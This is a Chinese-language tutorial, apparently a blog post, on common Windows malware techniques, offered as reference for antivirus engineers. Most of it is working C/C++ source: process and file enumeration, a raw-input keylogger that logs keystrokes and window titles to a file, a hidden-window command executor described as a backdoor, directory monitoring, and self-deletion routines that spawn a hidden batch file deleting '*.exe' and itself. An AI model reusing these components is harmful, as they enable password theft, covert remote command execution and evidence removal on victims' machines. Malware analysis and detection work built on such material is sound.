惡意代碼的分類包括計算機病毒、蠕蟲、木馬、后門、Rootkit、流氓軟件、間諜軟件、廣告軟件、僵尸(bot) 、Exploit等等,有些技術(shù)經(jīng)常用到,有的也是必然用到。
惡意代碼常見功能技術(shù)如下:進程遍歷,文件遍歷,按鍵記錄,后門,桌面截屏,文件監(jiān)控,自刪除,U盤監(jiān)控。知己知彼,百戰(zhàn)不殆。這里旨在給反病毒工程師提供參照。病毒作者請繞過。
0x01進程遍歷
進程遍歷獲取計算機上所有進程的信息(用戶進程,系統(tǒng)進程),通常是為了檢索受害進程,檢測是否運行在虛擬機中,以及是否存在殺軟等,有時候反調(diào)試技術(shù)也會檢測進程名。所以在惡意代碼中進程遍歷很常見。
具體流程:
1、調(diào)用CreateToolhelp32Snapshot獲取所有進程的快照信息之所以稱為快照是因為保存的是之前的信息,該函數(shù)返回進程快照句柄。
2、調(diào)用Process32First獲取第一個進程的信息,返回的進程信息保存在PROCESSENTRY32結(jié)構(gòu)體中,該函數(shù)的第一個參數(shù)是CreateToolhelp32Snapshot返回的快照句柄。
3、循環(huán)調(diào)用Process32Next從進程列表中獲取下一個進程的信息,直到Process32Next函數(shù)返回FALSE,GetLastError的錯誤碼為ERROR_NO_MORE_FILES,則遍歷結(jié)束。
4、關(guān)閉快照句柄并釋放資源
遍歷線程和進程模塊的步驟和上面的相似,線程遍歷使用Thread32First和Thread32Next,模塊遍歷使用Module32First和Module32Next。
源碼實現(xiàn):
#include "stdafx.h"
#include "EnumInfo.h"
void ShowError(char *lpszText)
{
char szErr[MAX_PATH] = {0};
::wsprintf(szErr, "%s Error[%d]n", lpszText, ::GetLastError());
#ifdef _DEBUG
::MessageBox(NULL, szErr, "ERROR", MB_OK);
#endif
}
BOOL EnumProcess()
{
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
// 獲取全部進程快照
HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAppROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcessSnap)
{
ShowError("CreateToolhelp32Snapshot");
return FALSE;
}
// 獲取快照中第一條信息
BOOL bRet = ::Process32First(hProcessSnap, &pe32);
while (bRet)
{
// 顯示 Process ID
printf("[%d]t", pe32.th32ProcessID);
// 顯示 進程名稱
printf("[%s]n", pe32.szExeFile);
// 獲取快照中下一條信息
bRet = ::Process32Next(hProcessSnap, &pe32);
}
// 關(guān)閉句柄
::CloseHandle(hProcessSnap);
return TRUE;
}
BOOL EnumThread()
{
THREADENTRY32 te32 = { 0 };
te32.dwSize = sizeof(THREADENTRY32);
// 獲取全部線程快照
HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (INVALID_HANDLE_VALUE == hThreadSnap)
{
ShowError("CreateToolhelp32Snapshot");
return FALSE;
}
// 獲取快照中第一條信息
BOOL bRet = ::Thread32First(hThreadSnap, &te32);
while (bRet)
{
// 顯示 Owner Process ID
printf("[%d]t", te32.th32OwnerProcessID);
// 顯示 Thread ID
printf("[%d]n", te32.th32ThreadID);
// 獲取快照中下一條信息
bRet = ::Thread32Next(hThreadSnap, &te32);
}
// 關(guān)閉句柄
::CloseHandle(hThreadSnap);
return TRUE;
}
BOOL EnumProcessModule(Dword dwProcessId)
{
MODULEENTRY32 me32 = { 0 };
me32.dwSize = sizeof(MODULEENTRY32);
// 獲取指定進程全部模塊的快照
HANDLE hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);
if (INVALID_HANDLE_VALUE == hModuleSnap)
{
ShowError("CreateToolhelp32Snapshot");
return FALSE;
}
// 獲取快照中第一條信息
BOOL bRet = ::Module32First(hModuleSnap, &me32);
while (bRet)
{
// 顯示 Process ID
printf("[%d]t", me32.th32ProcessID);
// 顯示 模塊加載基址
printf("[0x%p]t", me32.modBaseAddr);
// 顯示 模塊名稱
printf("[%s]n", me32.szModule);
// 獲取快照中下一條信息
bRet = ::Module32Next(hModuleSnap, &me32);
}
// 關(guān)閉句柄
::CloseHandle(hModuleSnap);
return TRUE;
}

0x02 文件遍歷

文件操作幾乎是所有惡意代碼必備的功能,木馬病毒竊取機密文件然后開一個隱秘端口,(之前在kali滲透群看到有人提問如何識別木馬,其實有一個簡單的方法,幾乎所有的木馬都要與攻擊者的主機通信的,查看打開了哪些奇怪的端口是一種方法)。
就算是再R0下,也經(jīng)常會創(chuàng)建寫入讀取文件,文件功能經(jīng)常用到。文件搜索功能主要是通過調(diào)用FindFirstFile和FindNextFile來實現(xiàn)。
具體流程
1、調(diào)用FindFirstFile函數(shù),該函數(shù)接收文件路徑,第二個參數(shù)指向WIN32_FIND_DATA結(jié)構(gòu)的指針。若函數(shù)成功則返回搜索句柄。該結(jié)構(gòu)包含文件的名稱,創(chuàng)建日期,屬性,大小等信息。
該返回結(jié)構(gòu)中的成員dwFileAttributes為FILE_ATTRIBUTE_DIRECTORY時表示返回的是一個目錄,否則為文件,根據(jù)cFileName獲取搜索到的文件名稱。如果需要重新對目錄下的所有子目錄文件都再次進行搜索的話,則需要對文件屬性進行判斷。若文件屬性是目錄,則繼續(xù)遞歸搜索,搜索其目錄下的目錄和文件。
2、調(diào)用FindNextFile搜索下一個文件,根據(jù)返回值判斷是否搜索到文件,若沒有則說明文件遍歷結(jié)束。
3、搜索完畢后,調(diào)用FindClose函數(shù)關(guān)閉搜索句柄,釋放資源緩沖區(qū)資源。
源代碼
#include "stdafx.h"
#include "FileSearch.h"
void SearchFile(char *pszDirectory)
{
// 搜索指定類型文件
DWORD dwBufferSize = 2048;
char *pszFileName = NULL;
char *pTempSrc = NULL;
WIN32_FIND_DATA FileData = {0};
BOOL bRet = FALSE;
// 申請動態(tài)內(nèi)存
pszFileName = new char[dwBufferSize];
pTempSrc = new char[dwBufferSize];
// 構(gòu)造搜索文件類型字符串, *.*表示搜索所有文件類型
::wsprintf(pszFileName, "%s\*.*", pszDirectory);
// 搜索第一個文件
HANDLE hFile = ::FindFirstFile(pszFileName, &FileData);
if (INVALID_HANDLE_VALUE != hFile)
{
do
{
// 要過濾掉 當(dāng)前目錄"." 和 上一層目錄"..", 否則會不斷進入死循環(huán)遍歷
if ('.' == FileData.cFileName[0])
{
continue;
}
// 拼接文件路徑
::wsprintf(pTempSrc, "%s\%s", pszDirectory, FileData.cFileName);
// 判斷是否是目錄還是文件
if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
// 目錄, 則繼續(xù)往下遞歸遍歷文件
SearchFile(pTempSrc);
}
else
{
// 文件
printf("%sn", pTempSrc);
}
// 搜索下一個文件
} while (::FindNextFile(hFile, &FileData));
}
// 關(guān)閉文件句柄
::FindClose(hFile);
// 釋放內(nèi)存
delete []pTempSrc;
pTempSrc = NULL;
delete []pszFileName;
pszFileName = NULL;
}

0x03 按鍵記錄

收集用戶的所有按鍵信息,分辨出哪些類似于賬號,密碼等關(guān)鍵信息進行利用,竊取密碼,這里用原始輸入模型直接從輸入設(shè)備上獲取數(shù)據(jù),記錄按鍵信息。
要想接收設(shè)備原始輸入WM_INPUT消息,應(yīng)用程序必須首先使用RegisterRawInputDevice注冊原始輸入設(shè)備,因為在默認情況下,應(yīng)用程序不接受原始輸入。
具體流程
1、注冊原始輸入設(shè)備
一個應(yīng)用程序必須首先創(chuàng)建一個RAWINPUTDEVICE結(jié)構(gòu),這個結(jié)構(gòu)表明它所希望接受設(shè)備的類別,再調(diào)用RegisterRawInputDevices注冊該原始輸入設(shè)備。將RAWINPUTDEVICE結(jié)構(gòu)體成員dwFlags的值設(shè)置為RIDEV_INPUTSINK,即使程序不處于聚焦窗口,程序依然可以接收原始輸入。
2、獲取原始輸入數(shù)據(jù)
消息過程中調(diào)用GetInputRawData獲取設(shè)備原始輸入數(shù)據(jù)。在WM_INPUT消息處理函數(shù)中,參數(shù)lParam存儲著原始輸入的句柄。此時可以直接調(diào)用GetInputRawData函數(shù),根據(jù)句柄獲取RAWINPUT原始輸入結(jié)構(gòu)體的數(shù)據(jù)。
dwType表示原始輸入的類型,RIM_TYPEKEYBOARD表示是鍵盤的原始輸入,Message表示相應(yīng)的窗口消息。WM_KEYBOARD表示普通按鍵消息,WM_SYSKEYDOWN表示系統(tǒng)按鍵消息,VKey存儲鍵盤按鍵數(shù)據(jù)。
3、保存按鍵信息
GetForegroundWindow獲取按鍵窗口的標題,然后調(diào)用GetWindowText根據(jù)窗口句柄獲取標題,存儲到本地文件。
源碼
#include "RawInputTest.h"
#include "VirtualKeyToAscii.h"
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 注冊原始輸入設(shè)備
BOOL Init(HWND hWnd)
{
// 設(shè)置 RAWINPUTDEVICE 結(jié)構(gòu)體信息
RAWINPUTDEVICE rawinputDevice = { 0 };
rawinputDevice.usUsagePage = 0x01;
rawinputDevice.usUsage = 0x06;
rawinputDevice.dwFlags = RIDEV_INPUTSINK;
rawinputDevice.hwndTarget = hWnd;
// 注冊原始輸入設(shè)備
BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
if (FALSE == bRet)
{
ShowError("RegisterRawInputDevices");
return FALSE;
}
return TRUE;
}
// 獲取原始輸入數(shù)據(jù)
BOOL GetData(LPARAM lParam)
{
RAWINPUT rawinputData = { 0 };
UINT uiSize = sizeof(rawinputData);
// 獲取原始輸入數(shù)據(jù)的大小
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
{
// WM_KEYDOWN --> 普通按鍵 WM_SYSKEYDOWN --> 系統(tǒng)按鍵(指的是ALT)
if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
(WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
{
// 記錄按鍵
SaveKey(rawinputData.data.keyboard.VKey);
}
}
return TRUE;
}
// 保存按鍵信息
void SaveKey(USHORT usVKey)
{
char szKey[MAX_PATH] = { 0 };
char szTitle[MAX_PATH] = { 0 };
char szText[MAX_PATH] = { 0 };
FILE *fp = NULL;
// 獲取頂層窗口
HWND hForegroundWnd = ::GetForegroundWindow();
// 獲取頂層窗口標題
::GetWindowText(hForegroundWnd, szTitle, 256);
// 將虛擬鍵碼轉(zhuǎn)換成對應(yīng)的ASCII
::lstrcpy(szKey, GetKeyName(usVKey));
// 構(gòu)造按鍵記錄信息字符串
::wsprintf(szText, "[%s] %srn", szTitle, szKey);
// 打開文件寫入按鍵記錄數(shù)據(jù)
::fopen_s(&fp, "keylog.txt", "a+");
if (NULL == fp)
{
ShowError("fopen_s");
return;
}
::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
::fclose(fp);
}

0x04 后門

后門常以套件的形式存在,用于將受害者信息發(fā)送給攻擊者或者傳輸惡意可執(zhí)行程序(下載器),最常用的功能是接收攻擊端傳送過來的命令,執(zhí)行某些操作。
windows系統(tǒng)中有很多WIN32 API可以執(zhí)行CMD命令,例如system Winexe CreateProcess等。這里介紹通過匿名管道實現(xiàn)遠程CMD。
具體過程
1、初始化匿名管道的SECURITY_ATTRIBUTES結(jié)構(gòu)體,調(diào)用CreatePipe創(chuàng)建匿名管道,獲取管道數(shù)據(jù)讀取句柄和寫入句柄。
2、初始化STARTUPINFO結(jié)構(gòu)體,隱藏進程窗口,并把管道數(shù)據(jù)寫入句柄賦值給新進程控制臺窗口的緩存句柄。
3、調(diào)用CreateProcess函數(shù)創(chuàng)建進程,執(zhí)行CMD命令并調(diào)用WaitForSingleObject等待命令執(zhí)行完。
4、調(diào)用ReadFile根據(jù)匿名管道的數(shù)據(jù)讀取句柄從匿名管道的緩沖區(qū)中讀取數(shù)據(jù)。
5、關(guān)閉句柄,釋放資源。
源代碼
#include "stdafx.h"
#include "PipeCmd.h"
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = {0};
::wsprintf(szErr, "%s Error[%d]n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 執(zhí)行 cmd 命令, 并獲取執(zhí)行結(jié)果數(shù)據(jù)
BOOL PipeCmd(char *pszCmd, char *pszResultBuffer, DWORD dwResultBufferSize)
{
HANDLE hReadPipe = NULL;
HANDLE hWritePipe = NULL;
SECURITY_ATTRIBUTES securityAttributes = {0};
BOOL bRet = FALSE;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
// 設(shè)定管道的安全屬性
securityAttributes.bInheritHandle = TRUE;
securityAttributes.nLength = sizeof(securityAttributes);
securityAttributes.lpSecurityDescriptor = NULL;
// 創(chuàng)建匿名管道
bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);
if (FALSE == bRet)
{
ShowError("CreatePipe");
return FALSE;
}
// 設(shè)置新進程參數(shù)
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
// 創(chuàng)建新進程執(zhí)行命令, 將執(zhí)行結(jié)果寫入匿名管道中
bRet = ::CreateProcess(NULL, pszCmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
if (FALSE == bRet)
{
ShowError("CreateProcess");
}
// 等待命令執(zhí)行結(jié)束
::WaitForSingleObject(pi.hThread, INFINITE);
::WaitForSingleObject(pi.hProcess, INFINITE);
// 從匿名管道中讀取結(jié)果到輸出緩沖區(qū)
::RtlZeroMemory(pszResultBuffer, dwResultBufferSize);
::ReadFile(hReadPipe, pszResultBuffer, dwResultBufferSize, NULL, NULL);
// 關(guān)閉句柄, 釋放內(nèi)存
::CloseHandle(pi.hThread);
::CloseHandle(pi.hProcess);
::CloseHandle(hWritePipe);
::CloseHandle(hReadPipe);
return TRUE;
}

0x05文件監(jiān)控

全局鉤子可以實現(xiàn)系統(tǒng)監(jiān)控,Windows提供了一個文件監(jiān)控接口函數(shù)ReadDirectoryChangesW該函數(shù)可以對計算機上所有文件操作進行監(jiān)控。在調(diào)用。
ReadDirectoryChangesW設(shè)置監(jiān)控過濾條件之前,需要通過CreateFile函數(shù)打開監(jiān)控目錄,獲取監(jiān)控目錄的句柄,之后才能調(diào)用ReadDirectoryChangesW函數(shù)設(shè)置監(jiān)控過濾條件并阻塞,直到有滿足監(jiān)控過濾條件的操作,ReadDirectoryChangesW才會返回監(jiān)控數(shù)據(jù)繼續(xù)往下執(zhí)行。
具體過程
1、打開目錄,獲取文件句柄,調(diào)用CreateFile獲取文件句柄,文件句柄必須要有FILE_LIST_DIRECTORY權(quán)限。
2、調(diào)用ReadDirectoryChangesW設(shè)置目錄監(jiān)控。
3、判斷文件操作類型,只要有滿足過濾條件的文件操作,ReadDirectoryChangesW函數(shù)會立馬返回信息,并將其返回到輸出緩沖區(qū)中,而且返回數(shù)據(jù)是按結(jié)構(gòu)體FILE_NOTIFY_INFORMATION返回的。
調(diào)用一次ReadDirectoryChangesW函數(shù)只會監(jiān)控一次,要想實現(xiàn)持續(xù)監(jiān)控,則需要程序循環(huán)調(diào)用ReadDirectoryChangesW函數(shù)來設(shè)置監(jiān)控并獲取監(jiān)控數(shù)據(jù),由于持續(xù)的目錄監(jiān)控需要不停循環(huán)調(diào)用ReadDirectoryChangesW函數(shù)進行設(shè)置監(jiān)控和獲取監(jiān)控數(shù)據(jù),所以如果把這段代碼放在主線程中則會導(dǎo)致程序阻塞,為了解決主線程阻塞的問題,可以創(chuàng)建一個文件監(jiān)控子線程,把文件監(jiān)控的實現(xiàn)代碼放到子線程中。
源代碼
#include "stdafx.h"
#include "MonitorFile.h"
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}
// 寬字節(jié)字符串轉(zhuǎn)多字節(jié)字符串
void W2C(wchar_t *pwszSrc, int iSrcLen, char *pszDest, int iDestLen)
{
::RtlZeroMemory(pszDest, iDestLen);
// 寬字節(jié)字符串轉(zhuǎn)多字節(jié)字符串
::WideCharToMultiByte(CP_ACP,
0,
pwszSrc,
(iSrcLen / 2),
pszDest,
iDestLen,
NULL,
NULL);
}
// 目錄監(jiān)控多線程
UINT MonitorFileThreadProc(LPVOID lpVoid)
{
char *pszDirectory = (char *)lpVoid;
// 打開目錄, 獲取文件句柄
HANDLE hDirectory = ::CreateFile(pszDirectory, FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (INVALID_HANDLE_VALUE == hDirectory)
{
ShowError("CreateFile");
return 1;
}
char szTemp[MAX_PATH] = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
DWORD dwBufferSize = 2048;
// 申請一個足夠大的緩沖區(qū)
BYTE *pBuf = new BYTE[dwBufferSize];
if (NULL == pBuf)
{
ShowError("new");
return 2;
}
FILE_NOTIFY_INFORMATION *pFileNotifyInfo = (FILE_NOTIFY_INFORMATION *)pBuf;
// 開始循環(huán)設(shè)置監(jiān)控
do
{
::RtlZeroMemory(pFileNotifyInfo, dwBufferSize);
// 設(shè)置監(jiān)控目錄
bRet = ::ReadDirectoryChangesW(hDirectory,
pFileNotifyInfo,
dwBufferSize,
TRUE,
FILE_NOTIFY_CHANGE_FILE_NAME | // 修改文件名
FILE_NOTIFY_CHANGE_ATTRIBUTES | // 修改文件屬性
FILE_NOTIFY_CHANGE_LAST_WRITE, // 最后一次寫入
&dwRet,
NULL,
NULL);
if (FALSE == bRet)
{
ShowError("ReadDirectoryChangesW");
break;
}
// 將寬字符轉(zhuǎn)換成窄字符
W2C((wchar_t *)(&pFileNotifyInfo->FileName), pFileNotifyInfo->FileNameLength, szTemp, MAX_PATH);
// 判斷操作類型并顯示
switch (pFileNotifyInfo->Action)
{
case FILE_ACTION_ADDED:
{
// 新增文件
printf("[File Added Action]%sn", szTemp);
break;
}
default:
{
break;
}
}
} while (bRet);
// 關(guān)閉句柄, 釋放內(nèi)存
::CloseHandle(hDirectory);
delete[] pBuf;
pBuf = NULL;
return 0;
}
// 創(chuàng)建目錄監(jiān)控多線程
void MonitorFile(char *pszDirectory)
{
// 創(chuàng)建文件監(jiān)控多線程
::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorFileThreadProc, pszDirectory, 0, NULL);
}

0x06 自刪除

自刪除功能對病毒木馬來說同樣至關(guān)重要,它通常在完成目標任務(wù)之后刪除自身,不留下任何蛛絲馬跡,自刪除的方法有很多種,常見的有利用MoveFileEx重啟刪除和利用批處理刪除兩種方式。
MoveFileEx重啟刪除
MOVEFILE_DELAY_UNTIL_REBOOT這個標志只能由擁有管理員權(quán)限的程序或者擁有本地系統(tǒng)權(quán)限的程序使用,而且這個標志不能MOVEFILE_COPY_ALLOWED一起使用,并且,刪除文件的路徑開頭需要加上“?"前綴。
源代碼
#include "stdafx.h"
#include <Windows.h>
BOOL RebootDelete(char *pszFileName)
{
// 重啟刪除文件
char szTemp[MAX_PATH] = "\\?\";
::lstrcat(szTemp, pszFileName);
BOOL bRet = ::MoveFileEx(szTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
return bRet;
}
int _tmain(int argc, _TCHAR* argv[])
{
if (FALSE == RebootDelete("C:\Users\Test\Desktop\520.exe"))
{
printf("Set Reboot Delete Error.n");
}
else
{
printf("Set Reboot Delete OK.n");
}
system("pause");
return 0;
}
利用批處理命令刪除
del %0
批處理命令會將自身批處理文件刪除而且不放進回收站。
具體流程
1 構(gòu)造自刪除批處理文件,該批處理文件的功能就是先利用choice或ping命令延遲一定的時間,之后才開始執(zhí)行刪除文件操作,最后執(zhí)行自刪除命令。
2 在程序中創(chuàng)建一個新進程并調(diào)用批處理文件,程序在進程創(chuàng)建成功后,立刻退出整個程序。
源代碼
#include "stdafx.h"
#include <Windows.h>
BOOL CreateChoiceBat(char *pszBatFileName)
{
int iTime = 5;
char szBat[MAX_PATH] = { 0 };
// 構(gòu)造批處理內(nèi)容
/*
@echo off
choice /t 5 /d y /n >nul
del *.exe
del %0
*/
::wsprintf(szBat, "@echo offnchoice /t %d /d y /n >nulndel *.exendel %%0n", iTime);
// 生成批處理文件
FILE *fp = NULL;
fopen_s(&fp, pszBatFileName, "w+");
if (NULL == fp)
{
return FALSE;
}
fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
fclose(fp);
return TRUE;
}
BOOL CreatePingBat(char *pszBatFileName)
{
int iTime = 5;
char szBat[MAX_PATH] = {0};
// 構(gòu)造批處理內(nèi)容
/*
@echo off
ping 127.0.0.1 -n 5
del *.exe
del %0
*/
::wsprintf(szBat, "@echo offnping 127.0.0.1 -n %dndel *.exendel %%0n", iTime);
// 生成批處理文件
FILE *fp = NULL;
fopen_s(&fp, pszBatFileName, "w+");
if (NULL == fp)
{
return FALSE;
}
fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
fclose(fp);
return TRUE;
}
BOOL DelSelf(int iType)
{
BOOL bRet = FALSE;
char szCurrentDirectory[MAX_PATH] = {0};
char szBatFileName[MAX_PATH] = {0};
char szCmd[MAX_PATH] = {0};
// 獲取當(dāng)前程序所在目錄
::GetModuleFileName(NULL, szCurrentDirectory, MAX_PATH);
char *p = strrchr(szCurrentDirectory, '\');
p[0] = '';
// 構(gòu)造批處理文件路徑
::wsprintf(szBatFileName, "%s\temp.bat", szCurrentDirectory);
// 構(gòu)造調(diào)用執(zhí)行批處理的 CMD 命令行
::wsprintf(szCmd, "cmd /c call "%s"", szBatFileName);
// 創(chuàng)建自刪除的批處理文件
if (0 == iType)
{
// choice 方式
bRet = CreateChoiceBat(szBatFileName);
}
else if (1 == iType)
{
// ping 方式
bRet = CreatePingBat(szBatFileName);
}
// 創(chuàng)建新的進程, 以隱藏控制臺的方式執(zhí)行批處理
if (bRet)
{
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi;
si.cb = sizeof(si);
//指定wShowWindow成員有效
si.dwFlags = STARTF_USESHOWWINDOW;
//此成員設(shè)為TRUE的話則顯示新建進程的主窗口
si.wShowWindow = FALSE;
BOOL bRet = CreateProcess(
//不在此指定可執(zhí)行文件的文件名
NULL,
//命令行參數(shù)
szCmd,
//默認進程安全性
NULL,
//默認進程安全性
NULL,
//指定當(dāng)前進程內(nèi)句柄不可以被子進程繼承
FALSE,
//為新進程創(chuàng)建一個新的控制臺窗口
CREATE_NEW_CONSOLE,
//使用本進程的環(huán)境變量
NULL,
//使用本進程的驅(qū)動器和目錄
NULL,
&si,
&pi);
if (bRet)
{
//不使用的句柄最好關(guān)掉
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
// 結(jié)束進程
exit(0);
::ExitProcess(NULL);
}
}
return bRet;
}
int _tmain(int argc, _TCHAR* argv[])
{
// 程序自刪除
BOOL bRet = DelSelf( 0 );
if (FALSE == bRet)
{
printf("Selft Delete Error!n");
}
else
{
printf("Selft Delete OK!n");
}
system("pause");
return 0;
}